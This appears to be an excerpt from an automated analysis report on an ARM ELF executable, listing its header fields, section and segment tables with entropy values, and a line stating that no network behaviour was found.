            Data:2's complement, little endian
            Version:1 (current)
            Machine:ARM
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:ARM - ABI
            ABI Version:0
            Entry Point Address:0x8190
            Flags:0x202
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:119520
            Section Header Size:40
            Number of Section Headers:10
            Header String Table Index:9
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x80940x940x180x00x6AX004
            .textPROGBITS0x80b00xb00x19ffc0x00x6AX0016
            .finiPROGBITS0x220ac0x1a0ac0x140x00x6AX004
            .rodataPROGBITS0x220c00x1a0c00x2ae00x00x2A004
            .ctorsPROGBITS0x2d0000x1d0000x80x00x3WA004
            .dtorsPROGBITS0x2d0080x1d0080x80x00x3WA004
            .dataPROGBITS0x2d0140x1d0140x28c0x00x3WA004
            .bssNOBITS0x2d2a00x1d2a00xa700x00x3WA004
            .shstrtabSTRTAB0x00x1d2a00x3e0x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x80000x80000x1cba00x1cba06.30250x5R E0x8000.init .text .fini .rodata
            LOAD0x1d0000x2d0000x2d0000x2a00xd102.88070x6RW 0x8000.ctors .dtors .data .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
            No network behavior found

            System Behavior